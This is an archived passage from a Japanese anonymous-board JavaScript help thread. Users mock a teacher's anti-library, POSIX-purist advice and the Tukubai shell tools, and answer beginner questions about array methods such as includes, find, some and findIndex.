将来動かなくなる恐れがあるから、jQueryもReactも使うな。自分でかけ。
たった数十行のコードで書けるって

こういうコードを書けと学生に教えてるんですー
他にもgitを使うな、ファイルコピーで管理しろとか教えてますー

966 名前:Name_Not_Found mailto:sage [2021/10/02(土) 05:23:38.36 ID:???.net]
ゴミクソ教師だな
絶対に就職できないわ
ActiveXってIEサポート終了が来月なのに何考えてるんだ
サポート終了も何もオープンソースなんだから世界中でサポートしてるようなものだろ
地球から出ていくなら全部自前でいいだろうがそんな考え方で独自路線で育った学生が就職できるのかね

967 名前:Name_Not_Found mailto:sage [2021/10/02(土) 05:24:48.47 ID:???.net]
↑オープンソースのくだりはライブラリの話

968 名前:Name_Not_Found [2021/10/02(土) 05:56:31.53 ID:EfyxePPB.net]
>>953
ゴミクソ教師? USPというユニケージというシェルスクリプトで
業務システムを開発しろっていう方法論を広めている会社の社員ですよ?

どんな人か?こんな人です。

「口やかましい少数派」に翻弄されるQiitaサポートは無能である
https://qiita.com/richmikan@github/items/8831c97598cc095e2b95

品位が問われるAdvent Calendar ― シェルスクリプトはどこでも動く!
https://qiita.com/richmikan@github/items/5f53a14a79874d56a2ff

あ、Twitterとか見ないようにねw

969 名前:Name_Not_Found mailto:sage [2021/10/02(土) 06:13:29.00 ID:???.net]
>>955
あんたが学生なのかと思った
リンクが気持ち悪いからほぼ読まなかったがお前にとって何が重要なのかを考えたほうがいい

970 名前:Name_Not_Found mailto:sage [2021/10/02(土) 07:53:56.16 ID:???.net]
>>948
わかってて質問してんだろ
お前の遊びに俺らを巻き込むな



971 名前:Name_Not_Found mailto:sage [2021/10/02(土) 12:02:59.27 ID:???.net]
>>948
ActiveXObject, xhr.onreadystatechange とか使わない

Ajax は、jQuery か、
今は、axios が多い

972 名前:Name_Not_Found mailto:sage [2021/10/02(土) 14:39:56.43 ID:???.net]
ただのUSP製品の宣伝をしてるだけの授業
https://richlab.org/j/2v62

・usp

973 名前: Tukubai(通称Tukubai)コマンド
  ・シェルスクリプトによるシステム開発を補完・強化するために作られた独自UNIXコマンド
  ・シェルスクリプトを、単なるサーバー管理言語から、アプリケーション開発言語へと進化させる。
  ・データ整理が特に得意で、RDBを過去のものにする処理速度を誇る。(参照→ 「スピードがすべてを駆逐する」)
  ・一部は、無償版(Open usp Tukubai)も公開されている


usp Tukubaiなんか世界中で「使われていません」
RDBよりも「圧倒的に遅く」「クラウドで使えません」
SQLは広く使われており、どこでも使えます
[]
[ここ壊れてます]

974 名前:Name_Not_Found mailto:sage [2021/10/02(土) 14:41:47.60 ID:???.net]
自己矛盾する授業内容
https://richlab.org/j/2d62


・一人(一社)が所有・支配しているものは
  標準語ではない。
  ・その人の意向で、使い方のルールが
  変わってしまう恐れがある。
  ⇒話者(ユーザー)が翻弄される
  ・いざという時の代替品がない。
  ⇒サポート終了や欠陥発覚で、話者(ユーザー)の
   逃げ道がなくなる。


↑それはUSP研究所が独自で開発している
プロプライエタリなコマンドのことです!

SQLといった標準規格が存在するものは「標準語」です
オープンソースは移植性が高く実際にどこでも動いている

975 名前:Name_Not_Found mailto:sage [2021/10/02(土) 14:43:31.02 ID:???.net]
POSIX原理主義者「POSIXではsleepでミリ秒の指定ができない?
だから私が作った。https://qiita.com/richmikan@github/items/65a55a405874e655fbac
すごいだろう?ないものは作ればいい!」


いやでもGNUもBSDでもsleepコマンドはミリ秒の指定できますよね?


POSIX原理主義者「それはPOSIXじゃない!使ってはならない。
だから私は自分で作った!それを使え」


GNUやBSDのsleepコマンドを使いますよw

976 名前:Name_Not_Found mailto:sage [2021/10/02(土) 14:44:24.89 ID:???.net]
POSIX原理主義者「UNIX哲学にはどうしてもC言語じゃなきゃダメな局面がなければすべきではないと書いてある」

書いてませんよ?

POSIX原理主義者「すべてのPOSIXコマンドは、どうしてもC言語じゃなければ行けないから、C言語で書いてある!」

basename、dirname、cut、true、false、head、tail、nl、あたりは
シェルスクリプトで簡単にかけますよ



POSIX原理主義者の理論はぜ〜んぶ適当
居酒屋のおっさんの自分語りレベル

977 名前:Name_Not_Found mailto:sage [2021/10/02(土) 14:44:56.05 ID:???.net]
POSIX原理主義者「yesコマンドは素晴らしいコマンドだ。その本当に意義を理解できるのはUNIX哲学を理解してる我々のみ!」

  うん、でもyesコマンドってPOSIXコマンドじゃないですよね?

POSIX原理主義者「え?」

  え?じゃなくてyesコマンドは、あんたの理論では使ってはダメなの

POSIX原理主義者「C、C言語で書けば、」

  yesコマンドは使えないコマンドだからPOSIXコマンドじゃないの

POSIX原理主義者「yesコマンドはこのような使い方が、」

  それはあんたが適当に思いついただけの変な使い方。本来の用途じゃないの。移植性もないの

POSIX原理主義者「自分で再発明することの素晴ら」

  あんたが作ったものは使えないし、あんたが作ったものよりGNUやBSDの信頼性があるものを使う

978 名前:Name_Not_Found mailto:sage [2021/10/02(土) 14:45:39.45 ID:???.net]
POSIX原理主義者「POSIXコマンドだけを使っていれば10年後もそのまま動く!どこでも動く!POSIXコマンドが改定されることはない!」

  でもtarコマンド削除されましたよね?

POSIX原理主義者「POSIXコマンドはcompressだ!compressを使え!」

  でもLinuxにインストールされてないんですが?

POSIX原理主義者「Linuxは完全にPOSIXに準拠してない!POSIXに準拠している環境ならどこでも動く!」

  そのPOSIXに準拠している環境ってなんですか?

POSIX原理主義者「商用UNIXとmacOSだ!(どやぁ)」

  じゃあ、どこでも動くんじゃなくてPOSIXに準拠してる商用UNIXとmacOSだけで動く
  LinuxはPOSIXに準拠してないから動かないって言わなきゃね

979 名前:Name_Not_Found mailto:sage [2021/10/02(土) 14:46:13.23 ID:???.net]
POSIX原理主義者「LinuxもだいたいPOSIXに準拠してるからだいたい動く。動かないものを避ければだいたい動くはずだ」


すっげー適当
理論のレベルじゃない
ただの思いつきで言ってるだけ

980 名前:Name_Not_Found mailto:sage [2021/10/02(土) 14:47:19.69 ID:???.net]
SQLと同じことをするためにTukubaiという独自開発した
ライブラリに依存してくださいというのはおかしい

Tukubaiはプロプラライセンスで提供されているから会社が潰れたら共倒れじゃん
オープンソースのもあるけどPythonで作られてるからPythonがバージョンアップしたら終わりじゃん

他人が作ったライブラリに依存するのはダメだけど自分の会社が作ったライブラリ
に依存するのはOKという態度はダブルスタンダードだと思うんだよね



981 名前:Name_Not_Found mailto:sage [2021/10/02(土) 15:06:39.92 ID:???.net]
ム板でやれ

982 名前:Name_Not_Found mailto:sage [2021/10/02(土) 16:01:44.93 ID:???.net]
>>955
軽く見た感想
@richmikan@githubは利己主義の塊のような人だなと
コメントを削除されたのは自業自得な感じ

983 名前:Name_Not_Found mailto:sage [2021/10/02(土) 23:39:33.82 ID:???.net]
質問です
const A = ["みかん","いちご","トマト","レモン"];
let test = false;
for(let i=0; i<A.length; i++){
 if(A[i] == "キャベツ"){
  test = true;
  break;
 }
}

if(!test){
alert("キャベツはありませんでした");
}

というスクリプト作ってますが、配列に自分の探したい要素が無かった時実行するというスクリプトって他に良いやり方ありますか?

984 名前:Name_Not_Found mailto:sage [2021/10/02(土) 23:41:38.42 ID:???.net]
>>969
includes

985 名前:Name_Not_Found mailto:sage [2021/10/02(土) 23:52:51.91 ID:???.net]
>>970
すごい

986 名前:Name_Not_Found mailto:sage [2021/10/03(日) 01:08:22.30 ID:???.net]
>>971
ほめんなよ。てれるじゃねーか

987 名前:Name_Not_Found mailto:sage [2021/10/03(日) 07:31:23.88 ID:???.net]
includesない時代はfindIndex使って戻り値を<0で比較してたっけ

988 名前:Name_Not_Found mailto:sage [2021/10/03(日) 09:33:45.48 ID:???.net]
このスレ、回答来てない奴のなりすましが多いんだが、承認欲求強い奴が多いのかね

989 名前:Name_Not_Found mailto:sage [2021/10/03(日) 10:14:23.32 ID:???.net]
× 回答来てない奴のなりすまし
○ 回答してない奴のなりすまし

990 名前:Name_Not_Found mailto:sage [2021/10/03(日) 12:47:25.14 ID:???.net]
なりすましで承認欲求は満たされんだろ



991 名前:969 mailto:sage [2021/10/03(日) 15:21:57.81 ID:???.net]
度々すみません、再び質問ですが
質問です
const A = [{name:"みかん"},"{name:いちご"},{name:"トマト"},{name:"レモン"}];
let test = false;
for(let i=0; i<A.length; i++){
 if(A[i].name == "キャベツ"){
  test = true;
  break;
 }
}

if(!test){
alert("キャベツはありませんでした");
}
とこの場合はindexOfやincludes使えませんよね?
他にも便利なメソッドが存在したりするのでしょうか?

992 名前:Name_Not_Found mailto:sage [2021/10/03(日) 15:45:16.46 ID:???.net]
A.find( ({ name }) => name === 'キャベツ' )
はどうよ

993 名前:969 mailto:sage [2021/10/03(日) 16:21:07.70 ID:???.net]
>>978
上手くいきました!
これが最適ですね!

994 名前:Name_Not_Found mailto:sage [2021/10/03(日) 16:24:33.42 ID:???.net]
>>977
some

995 名前:Name_Not_Found mailto:sage [2021/10/03(日) 16:55:45.22 ID:???.net]
yes, someで必要十分ですね 勉強になるね

996 名前:969 mailto:sage [2021/10/03(日) 17:01:35.60 ID:???.net]
なるほどfindは発見したオブジェクトを返してsomeはtrue falseで返してくれるんですね
もしかするとindexOfみたいに発見したらindexを、無かったら-1を返すようなものもあります?

997 名前:Name_Not_Found mailto:sage [2021/10/03(日) 17:02:48.42 ID:???.net]
それは流石にない
処理が複雑だし自分で作る

998 名前:969 mailto:sage [2021/10/03(日) 17:06:20.60 ID:???.net]
>>983
りょ

999 名前:Name_Not_Found mailto:sage [2021/10/03(日) 18:20:19.77 ID:???.net]
>>982
findIndex

1000 名前:Name_Not_Found mailto:sage [2021/10/03(日) 19:57:05.54 ID:???.net]
>>982
>>985の通りだが、ここまで来たら追加質問は、Array.prototypeのメソッドを自分で探してくれ
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Array

console.dir(Array.prototype)でメソッド名を見て一つずつぐぐるとか、方法はあるだろ



1001 名前:Name_Not_Found mailto:sage [2021/10/04(月) 19:21:10.36 ID:???.net]
>>986
古い考えやなー
わからないことは自分で調べるより知ってる人に聞いたほうが何倍もはやいやろ

1002 名前:Name_Not_Found mailto:sage [2021/10/04(月) 19:37:38.73 ID:???.net]
>>987
しね

1003 名前:Name_Not_Found mailto:sage [2021/10/04(月) 21:25:09.57 ID:???.net]
>>987
愚かな考えだなー

1004 名前:Name_Not_Found mailto:sage [2021/10/04(月) 23:43:27.58 ID:???.net]
chromeのデベロッパーツールのSourcesからimgフォルダの中の画像全部保存したいのだけど一括で保存できる方法ないでしょうか?
一つ一つはできるのですが数が多いので一括でやりたいです。

1005 名前:Name_Not_Found mailto:sage [2021/10/05(火) 01:56:27.36 ID:???.net]
>>990
html質問スレに回答した
こっちにマルチしてるんならjsだからこっちに回答すべきだったな…

1006 名前:Name_Not_Found mailto:sage [2021/10/05(火) 07:20:56.06 ID:???.net]
>>991
古い考えやなー
わからないことはマルチポストしたほうが何倍もはやいやろ

1007 名前:Name_Not_Found mailto:sage [2021/10/05(火) 10:45:01.74 ID:???.net]
>>992
しね

1008 名前:Name_Not_Found mailto:sage [2021/10/05(火) 18:06:46.94 ID:???.net]
return filterArr.find(element => (element === item.values));

elementとitem.valuesが同じ値だったら表示するというものですが文字列を含むにする場合はどうしたらいいですか?

1009 名前:Name_Not_Found mailto:sage [2021/10/05(火) 18:19:30.07 ID:???.net]
>>933からの続きなんだろうけど
すまんが俺のエスパー力が足りないようだ

1010 名前:Name_Not_Found mailto:sage [2021/10/05(火) 19:06:39.49 ID:???.net]
>>995
お前上のほうでエスパー力って言ってる奴と同じやつやろ
能力ある奴はわからない質問があれば質問返してくれるんだよね。
つまり無能は黙ってろ



1011 名前:Name_Not_Found mailto:sage [2021/10/05(火) 19:23:52.22 ID:???.net]
知らんけどちょっと上に出てるincludes使えばいいんじゃないの?

1012 名前:Name_Not_Found mailto:sage [2021/10/05(火) 19:30:56.86 ID:???.net]
単純に考えればそうなんだけどvaluesが文字列とは思えんし
ぶっちゃけよく分からん

1013 名前:Name_Not_Found mailto:sage [2021/10/05(火) 20:16:39.10 ID:???.net]
>>998
だkらエスパーは黙ってろって
全部わからんしか言ってないやつやろ

1014 名前:Name_Not_Found mailto:sage [2021/10/05(火) 20:27:20.39 ID:???.net]
>>998
大人になれ

1015 名前:1001 [Over 1000 Thread.net]
このスレッドは1000を超えました。
新しいスレッドを立ててください。
life time: 2579日 1時間 15分 36秒

1016 名前:過去ログ ★ [[過去ログ]]
■ このスレッドは過去ログ倉庫に格納されています






[ 新着レスの取得/表示 (agate) ] / [ 携帯版 ]

前100 次100 最新50 [ このスレをブックマーク! 携帯に送る ] 2chのread.cgiへ
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧]( ´∀`)<282KB

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef